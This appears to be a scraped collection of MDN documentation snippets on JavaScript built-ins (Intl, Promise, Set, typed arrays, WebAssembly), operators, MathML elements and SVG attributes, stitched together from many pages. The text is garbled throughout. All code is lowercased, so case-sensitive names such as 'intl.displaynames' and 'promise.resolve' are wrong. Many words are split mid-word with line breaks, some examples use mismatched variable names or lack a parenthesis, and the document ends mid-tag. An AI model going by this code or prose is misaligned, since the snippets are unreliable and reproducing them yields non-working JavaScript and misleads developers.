static methods intl.displaynames.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
... instance methods intl.displaynames.prototype.of() this method receives a code and returns a string based on the locale and options pro
vided when instantiating intl.displaynames.
... // get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzego
vina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names t...
Intl.ListFormat.supportedLocalesOf() - JavaScript
the intl.listformat.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.Locale.prototype.calendar - JavaScript
ar, amete mihret (epoch approx, 8 c.e.) gregory gregorian calendar hebrew traditional hebrew calendar indian indian calendar islamic islamic calendar islamic-umalqura islamic calendar, umm al-qura islamic-tbla islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epoch) islamic-ci
vil islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - ci
vil epoch) islamic-rgsa islamic calendar, saudi arabia sighting iso8601 iso calendar (gregorian calendar using the iso 8601 calendar week rules) japanese japanese imperial calendar persian persian calendar roc republic of china calendar the...
...please use islamic-ci
vil.
... islamicc ci
vil (algorithmic) arabic calendar examples adding a calendar in the locale string calendar eras fall under the category of locale key "extension keys".
Intl.Locale.prototype.numeric - JavaScript
examples setting the numeric value
via the locale string in the unicode locale string spec, the values that numeric represents correspond to the key kn.
... let numeric
viastr = new intl.locale("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value
via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let numeric
viaobj= new intl.locale("en-latn-us", {numeric: true}); console.log(us12hour.numeric); // prints "true" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.region - JavaScript
knowing the locale's region is
vital to identifying differences between locales.
...knowing the locale's region helps javascript programmers make sure that the content from their sites and applications is correctly displayed when
viewed from different areas of the world.
...the region is a mandatory part of a let regionstr = new intl.locale("en-latn-us"); console.log(regionstr.region); // prints "us" setting the region
via the configuration object the locale constructor takes a configuration object, which can be used to set the region subtag and property.
Intl.NumberFormat.supportedLocalesOf() - JavaScript
the intl.numberformat.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in number formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in number formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.PluralRules.supportedLocalesOf() - JavaScript
the intl.pluralrules.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in plural formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in plural formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
the intl.relativetimeformat.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Number.prototype.toLocaleString() - JavaScript
syntax numobj.tolocalestring([locales [, options]]) parameters the locales and options arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when formatting large numbers of numbers, it is better to create a numberformat object and use the function pro
vided by its numberformat.format property.
...chinese decimal console.log(number.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(number.tolocalestring(['ban', 'id'])); // → 123.456,789 using options the results pro
vided by tolocalestring can be customized using the options argument: var number = 123456.789; // request a currency format console.log(number.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three si...
Object.defineProperty() - JavaScript
object.defineproperty(obj, 'key', withvalue('static')); // if freeze is available, prevents adding or // remo
ving the object prototype properties // (value, get, set, enumerable, writable, configurable) (object.freeze || object)(object.prototype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples.
... var o = {}; object.defineproperty(o, 'a', { get() { return 1; }, configurable: false }); object.defineproperty(o, 'a', { configurable: true }); // throws a typeerror object.defineproperty(o, 'a', { enumerable: true }); // throws a typeerror object.defineproperty(o, 'a', { set() {} }); // throws a typeerror (set was undefined pre
viously) object.defineproperty(o, 'a', { get() { return 1; } }); // throws a typeerror // (even though the new get does exactly the same thing) object.defineproperty(o, 'a', { value: 12 }); // throws a typeerror // ('value' can be changed when 'configurable' is false but not in this case due to 'get' accessor) console.log(o.a); // logs 1 delete o.a; // nothing happens console.log(o.a); // logs ...
...valent to: object.defineproperty(o, 'a', { value: 1, writable: true, configurable: true, enumerable: true }); // on the other hand, object.defineproperty(o, 'a', { value: 1 }); // is equivalent to: object.defineproperty(o, 'a', { value: 1, writable: false, configurable: false, enumerable: false }); custom setters and getters the example below shows how to implement a self-archi
ving object.
Object.seal() - JavaScript
making all properties non-configurable also prevents them from being converted from data properties to accessor properties and
vice versa, but it does not prevent the values of data properties from being changed.
... attempting to delete or add properties to a sealed object, or to convert a data property to accessor or
vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode code).
...obj.foo = 'quux'; // but you can't convert data properties to accessors, // or
vice versa.
Promise.resolve() - JavaScript
examples using the static promise.resolve method promise.resolve('success').then(function(value) { console.log(value); // "success" }, function(value) { // not called }); resol
ving an array var p = promise.resolve([1,2,3]); p.then(function(v) { console.log(v[0]); // 1 }); resol
ving another promise var original = promise.resolve(33); var cast = promise.resolve(original); cast.then(function(value) { console.log('value: ' + value); }); console.log('original === cast ?
... resol
ving thenables and throwing errors // resol
ving a thenable object var p1 = promise.resolve({ then: function(onfulfill, onreject) { onfulfill('fulfilled!'); } }); console.log(p1 instanceof promise) // true, object casted to a promise p1.then(function(v) { console.log(v); // "fulfilled!" }, function(e) { // not called }); // thenable throws before callback // promise rejects var thenable = { then: function(resolve) { throw new typeerror('throwing'); resolve('resol
ving'); }}; var p2 = promise.resolve(thenable); p2.then(function(v) { // not called }, functi...
...on(e) { console.error(e); // typeerror: throwing }); // thenable throws after callback // promise resolves var thenable = { then: function(resolve) { resolve('resol
ving'); throw new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(function(v) { console.log(v); // "resol
ving" }, function(e) { // not called }); specifications specification ecmascript (ecma-262)the definition of 'promise.resolve' in that specification.
Reflect - JavaScript
reflect is a built-in object that pro
vides methods for interceptable javascript operations.
... the reflect object pro
vides the following static functions which have the same names as the proxy handler methods.
...also pro
vides the option to specify a different prototype.
Set - JavaScript
set.prototype.delete(value) removes the element associated to the value and returns the value that set.prototype.has(value) would have pre
viously returned.
...if a thisarg parameter is pro
vided, it will be used as the this value for each invocation of callbackfn.
... myarr = array.from(myset) // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}] // the following will also work if run in an html document myset.add(document.body) myset.has(document.queryselector('body')) // true // converting between set and array myset2 = new set([1, 2, 3, 4]) myset2.size // 4 [...myset2] // [1, 2, 3, 4] // intersect can be simulated
via let intersection = new set([...set1].filter(x => set2.has(x))) // difference can be simulated
via let difference = new set([...set1].filter(x => !set2.has(x))) // iterate set entries with foreach() myset.foreach(function(value) { console.log(value) }) // 1 // 2 // 3 // 4 implementing basic set operations function issuperset(set, subset) { for (let elem of subset) { if (!set.ha...
String.prototype.concat() - JavaScript
return value a new string containing the combined text of the strings pro
vided.
... let hello = 'hello, ' console.log(hello.concat('ke
vin', '.
... have a nice day.')) // hello, ke
vin.
Symbol.isConcatSpreadable - JavaScript
it can control beha
vior for arrays and array-like objects: for array objects, the default beha
vior is to spread (flatten) elements.
... for array-like objects, the default beha
vior is no spreading or flattening.
...e no configurable no examples arrays by default, array.prototype.concat() spreads (flattens) arrays into its result: let alpha = ['a', 'b', 'c'], let numeric = [1, 2, 3] let alphanumeric = alpha.concat(numeric) console.log(alphanumeric) // result: ['a', 'b', 'c', 1, 2, 3] when setting symbol.isconcatspreadable to false, you can disable the default beha
vior: let alpha = ['a', 'b', 'c'], let numeric = [1, 2, 3] numeric[symbol.isconcatspreadable] = false let alphanumeric = alpha.concat(numeric) console.log(alphanumeric) // result: ['a', 'b', 'c', [1, 2, 3] ] array-like objects for array-like objects, the default is to not spread.
Symbol.unscopables - JavaScript
the symbol.unscopables well-known symbol is used to specify an object value of whose own and inherited property names are excluded from the with en
vironment bindings of the associated object.
... description the @@unscopables symbol (symbol.unscopables) can be defined on any object to exclude property names from being exposed as lexical variables in with with en
vironment bindings.
...that means that inside with en
vironment "keys" would now be the method and not the variable.
TypedArray.prototype.some() - JavaScript
the some() method tests whether some element in the typed array passes the test implemented by the pro
vided function.
... if a thisarg parameter is pro
vided to some, it will be passed to callback when invoked, for use as its this value.
... function isbiggerthan10(element, index, array) { return element > 10; } new uint8array([2, 5, 8, 1, 4]).some(isbiggerthan10); // false new uint8array([12, 5, 8, 1, 4]).some(isbiggerthan10); // true testing typed array elements using arrow functions arrow functions pro
vide a shorter syntax for the same test.
TypedArray.prototype.subarray() - JavaScript
the whole array will be included in the new
view if this value is not specified.
...if not specified, all elements from the one specified by begin to the end of the array are included in the new
view.
... also note that this is creating a new
view on the existing buffer; changes to the new object's contents will impact the original object and
vice versa.
Uint8Array() constructor - JavaScript
buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Uint8ClampedArray() constructor - JavaScript
buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
WebAssembly.Instance.prototype.exports - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (
view it live also).
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefo...
...x 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.Memory.prototype.buffer - JavaScript
examples using buffer the following example (see memory.html on github, and
view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsbufferchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox...
... 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.Module.customSections() - JavaScript
(read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.) this pro
vides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to pro
vide names for all the functions and locals in the module (like "symbols" in a native build).
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscustomsectionschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the...
... firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.Module.exports() - JavaScript
examples using exports the following example (see our index-compile.html demo on github, and
view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage().
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefo...
...x 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.Table.prototype.get() - JavaScript
examples using get the following example (see table.html on github, and
view it live also) compiles and instantiates the loaded table.wasm byte code using the webassembly.instantiatestreaming() method.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52...
... extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.Table.prototype.grow() - JavaScript
return value the pre
vious length of the table.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 5...
...2 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.compileStreaming() - JavaScript
examples compile streaming the following example (see our compile-streaming.html demo on github, and
view it live also) directly streams a .wasm module from an underlying source then compiles it to a webassembly.module object.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestreamingchrome full support 61edge full support 16firefox full support 58ie no support noopera full supp...
...ort 47safari no support noweb
view android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosamsung internet android full support 8.0nodejs no support nolegend full support full support no support ...
parseInt() - JavaScript
the description below explains in more detail what happens when radix is not pro
vided.
...always specify a radix to avoid this unreliable beha
vior.
... many implementations have not adopted this beha
vior as of 2013.
Standard built-in objects - JavaScript
other objects in the global scope are either created by the user script or pro
vided by the host application.
... for more information about the distinction between the dom and core javascript, see javascript technologies over
view.
... arraybuffer sharedarraybuffer atomics data
view json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example).
Logical OR (||) - JavaScript
turns true o4 = false || (3 == 4) // f || f returns false o5 = 'cat' || 'dog' // t || t returns "cat" o6 = false || 'cat' // f || t returns "cat" o7 = 'cat' || false // t || f returns "cat" o8 = '' || false // f || f returns false o9 = false || '' // f || f returns "" o10 = false || varobject // f || object returns varobject note: if you use this operator to pro
vide a default value to some variable, be aware that any falsy value will not be used.
... conversion rules for booleans converting and to or the following operation invol
ving booleans: bcondition1 && bcondition2 is always equal to: !(!bcondition1 || !bcondition2) converting or to and the following operation invol
ving booleans: bcondition1 || bcondition2 is always equal to: !(!bcondition1 && !bcondition2) remo
ving nested parentheses as logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.
... the following composite operation invol
ving booleans: bcondition1 && (bcondition2 || bcondition3) is always equal to: !(!bcondition1 || !bcondition2 && !bcondition3) specifications specification ecmascript (ecma-262)the definition of 'logical or expression' in that specification.
Object initializer - JavaScript
in non-supporting en
vironments, these notations will lead to syntax errors.
...it copies own enumerable properties from a pro
vided object onto a new object.
... instead, if the pro
vided value is an object or null, it changes the [[prototype]] of the created object to that value.
Optional chaining (?.) - JavaScript
the optional chaining operator (?.) permits reading the value of a property located deep within a chain of connected objects without ha
ving to expressly validate that each reference in the chain is valid.
... syntax obj?.prop obj?.[expr] arr?.[index] func?.(args) description the optional chaining operator pro
vides a way to simplify accessing values through connected objects when it's possible that a reference or function may be undefined or null.
...this can be helpful, for example, when using an api in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's de
vice.
Property accessors - JavaScript
property accessors pro
vide access to an object's properties by using the dot notation or the bracket notation.
... const variable = object[property_name] object[property_name] = value; this does the exact same thing as the pre
vious example.
...eval javascript no
vices often make the mistake of using eval() where the bracket notation can be used instead.
Remainder (%) - JavaScript
the remainder operator (%) returns the remainder left over when one operand is di
vided by a second operand.
... it always takes the sign of the di
vidend.
... syntax operator: var1 % var2 examples remainder with positive di
vidend 12 % 5 // 2 1 % -2 // 1 1 % 2 // 1 2 % 3 // 2 5.5 % 2 // 1.5 remainder with negative di
vidend -12 % 5 // -2 -1 % 2 // -1 -4 % 2 // -0 remainder with nan nan % 2 // nan specifications specification ecmascript (ecma-262)the definition of 'remainder operator' in that specification.
instanceof - JavaScript
frames or windows) different scopes have different execution en
vironments.
... this may not make sense at first, but for scripts dealing with multiple frames or windows, and passing objects from one context to another
via functions, this will be a valid and strong issue.
... for instance, you can securely check if a given object is, in fact, an array using array.isarray(myobj) for example, checking if a nodes is a svgelement in a different context, you can use mynode instanceof mynode.ownerdocument.default
view.svgelement.
super - JavaScript
// here, it calls the parent class's constructor with lengths // pro
vided for the rectangle's width and height super(length, length); // note: in derived classes, super() must be called before you // can use 'this'.
... lea
ving this out will cause a reference error.
... class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } } new derived().delete(); // referenceerror: invalid delete invol
ving 'super'.
void operator - JavaScript
this can cause unintended side effects by returning the result of a function call that pre
viously returned nothing.
... to be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example) changing apis do not cause arrow functions' beha
viors to change.
... button.onclick = () => void dosomething(); this ensures the return value of dosomething changing from undefined to true will not change the beha
vior of this code.
Expressions and operators - JavaScript
property accessors member operators pro
vide access to a property or method of an object (object.property and object["property"]).
... / di
vision operator.
... /= di
vision assignment.
empty - JavaScript
an empty statement is used to pro
vide no statement, although the javascript syntax would expect one.
... the opposite beha
vior, where you want multiple statements, but javascript only allows a single one, is possible using a block statement, which combines several statements into a single one.
...see the following example with an empty loop body: let arr = [1, 2, 3]; // assign all array values to 0 for (let i = 0; i < arr.length; arr[i++] = 0) /* empty statement */ ; console.log(arr); // [0, 0, 0] unintentional usage it is a good idea to comment intentional use of the empty statement, as it is not really ob
vious to distinguish from a normal semicolon.
switch - JavaScript
default optional a default clause; if pro
vided, this clause is executed if the value of expression doesn't match any of the case clauses.
...(if multiple cases match the pro
vided value, the first case that matches is selected, even if the cases are not equal to each other.) if no matching case clause is found, the program looks for the optional default clause, and if found, transfers control to that clause, executing the associated statements.
... var animal = 'giraffe'; switch (animal) { case 'cow': case 'giraffe': case 'dog': case 'pig': console.log('this animal will go on noah\'s ark.'); break; case 'dinosaur': default: console.log('this animal will not.'); } multi-case : chained operations this is an example of a multiple-operation sequential case clause, where, depending on the pro
vided integer, you can receive different output.
Template literals (Template strings) - JavaScript
let str = string.raw`hi\n${2+3}!`; // "hi\n5!" str.length; // 6 array.from(str).join(','); // "h,i,\,n,5,!" tagged templates and escape sequences es2016 beha
vior as of ecmascript 2016, tagged templates conform to the rules of the following escape sequences: unicode escapes started by "\u", for example \u00a9 unicode code point escapes indicated by "\u{}", for example \u{2f804} hexadecimal escapes started by "\x", for example \xa9 octal literal escapes started by "\0o" and followed by one or more digits, for example \0o251 this means that a tagg...
...ed template like the following is problematic, because, per ecmascript grammar, a parser looks for valid unicode escape sequences, but finds malformed syntax: latex`\unicode` // throws in older ecmascript versions (es2016 and earlier) // syntaxerror: malformed unicode character escape sequence es2018 re
vision of illegal escape sequences tagged templates should allow the embedding of languages (for example dsls, or latex), where other escapes sequences are common.
... the ecmascript proposal template literal re
vision (stage 4, to be integrated in the ecmascript 2018 standard) removes the syntax restriction of ecmascript escape sequences from tagged templates.
JavaScript shells - JavaScript
a javascript shell allows you to quickly test snippets of javascript code without ha
ving to reload a web page.
... standalone javascript shells the following javascript shells are stand-alone en
vironments, like perl or python.
... execute js - (no longer maintained) - firefox-extension which pro
vides an enhanced javascript-console, where you can comfortably enter and execute arbitrary javascript-code and modify functions.
<mfenced> - MathML
the deprecated mathml <mfenced> element used to pro
vide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
... attributes class, id, style pro
vided for use with stylesheets.
... separators a sequence of zero or more characters to be used for different separators, optionally di
vided by white space, which is ignored.
<mo> - MathML
class, id, style pro
vided for use with stylesheets.
... fence there is no
visual effect for this attribute, but it specifies whether the operator is a fence (such as parentheses).
... separator there is no
visual effect for this attribute, but it specifies whether the operator is a separator (such as commas).
CSS and JavaScript animation performance - Web Performance
they each have their own user scenarios: css transitions pro
vide an easy way to make animations occur between the current style and an end css state, e.g., a resting button state and a hover state.
... requestanimationframe the requestanimationframe() api pro
vides an efficient way to make animations in javascript.
...this can occur because css transitions/animations are simply resampling element styles in the main ui thread before each repaint event happens, which is almost the same as resampling element styles
via a requestanimationframe() callback, also triggered before the next repaint.
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
for example, to apply a blur effect, you might use: <svg height="0"> <filter id="f1"> <fegaussianblur stdde
viation="3"/> </filter> </svg> you could also apply a color matrix: <svg height="0"> <filter id="f2"> <fecolormatrix values="0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0"/> </filter> </svg> and some more filters: <svg height="0"> <filter id="f3"> ...
... 0 0 1 0 0 0 1 0 0 0" style="color-interpolation-filters:srgb"/> </filter> </svg> the five filters are applied using the following css: p.target { filter:url(#f3); } p.target:hover { filter:url(#f5); } b.target { filter:url(#f1); } b.target:hover { filter:url(#f4); } pre.target { filter:url(#f2); } pre.target:hover { filter:url(#f3); }
view this example live example: blurred text in order to blur text, webkit based browsers have a (prefixed) css filter called blur (see also css filter).
... <p class="blur">time to clean my glasses</p> <svg height="0"> <defs> <filter id="wherearemyglasses" x="0" y="0"> <fegaussianblur in="sourcegraphic" stdde
viation="1"/> </filter> </defs> </svg> you can apply the svg and the css filter in the same class: .blur { filter: url(#wherearemyglasses); } blurring is computation heavy, so ensure to use it sparingly, especially in elements that get scrolled or animated.
accumulate - SVG: Scalable Vector Graphics
it is frequently useful for repeated animations to build upon the pre
vious results, accumulating with each iteration.
... this attribute said to the animation if the value is added to the pre
vious animated attribute's value on each iteration.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the pre
vious iteration.
alignment-baseline - SVG: Scalable Vector Graphics
example <svg width="300" height="120"
viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,10 l60,110 m30,10 l300,10 m30,65 l300,65 m30,110 l300,110 " stroke="grey" /> <!-- anchors in action --> <text alignment-baseline="hanging" x="60" y="10">a hanging</text> <text alignment-baseline="mi...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignment-baselinechrome ?
... web
view android ?
baseline-shift - SVG: Scalable Vector Graphics
note: this property is going to be deprecated and authors are ad
vised to use vertical-align instead.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseline-shiftchrome ?
... web
view android ?
clip-rule - SVG: Scalable Vector Graphics
example <svg width="100"
viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clip...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-rulechrome ?
... web
view android ?
color-interpolation-filters - SVG: Scalable Vector Graphics
the color-interpolation-filters attribute specifies the color space for imaging operations performed
via filter effects.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolation-filterschrome ?
... web
view android ?
color-interpolation - SVG: Scalable Vector Graphics
ha
ving chosen the appropriate color space, component-wise linear interpolation is used.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolationchrome ?
... web
view android ?
color-rendering - SVG: Scalable Vector Graphics
the color-rendering attribute pro
vides a hint to the svg user agent about how to optimize its color interpolation and compositing operations.
...y has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="5...
...for rgb display de
vices, this option will sometimes cause the user agent to perform color interpolation and compositing in the de
vice rgb color space.
enable-background - SVG: Scalable Vector Graphics
default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target de
vice.
... otherwise, there is no current background image canvas, so graphics elements are only rendered onto the target de
vice.
... it also indicates that a new (i.e., initially transparent black) background image canvas is established and that in effect all children of the current container element shall be rendered into the new background image canvas in addition to being rendered onto the target de
vice.
end - SVG: Scalable Vector Graphics
examples offset example <svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" end="8s" fill="freeze" /> </rect> <rect x="10" y="60" height="15" width="0"> <animate attributetype="xml" attribut...
...85" y2="105" stroke="grey" stroke-width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> event example <svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="indefinite" fill="freeze" /> ...
...85" y2="55" stroke="grey" stroke-width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="55" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="55" x2="110" y2="55" stroke="grey" stroke-width=".5" /> </svg> accesskey example <svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="accesskey(e)" dur="8s" repeatcount="indefinite" fill="freeze" /> ...
fill-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-opacity="50%" /> <!-- fill opacity as a css property --> <circle cx="350" c...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-opacitychrome ?
... web
view android ?
fill - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
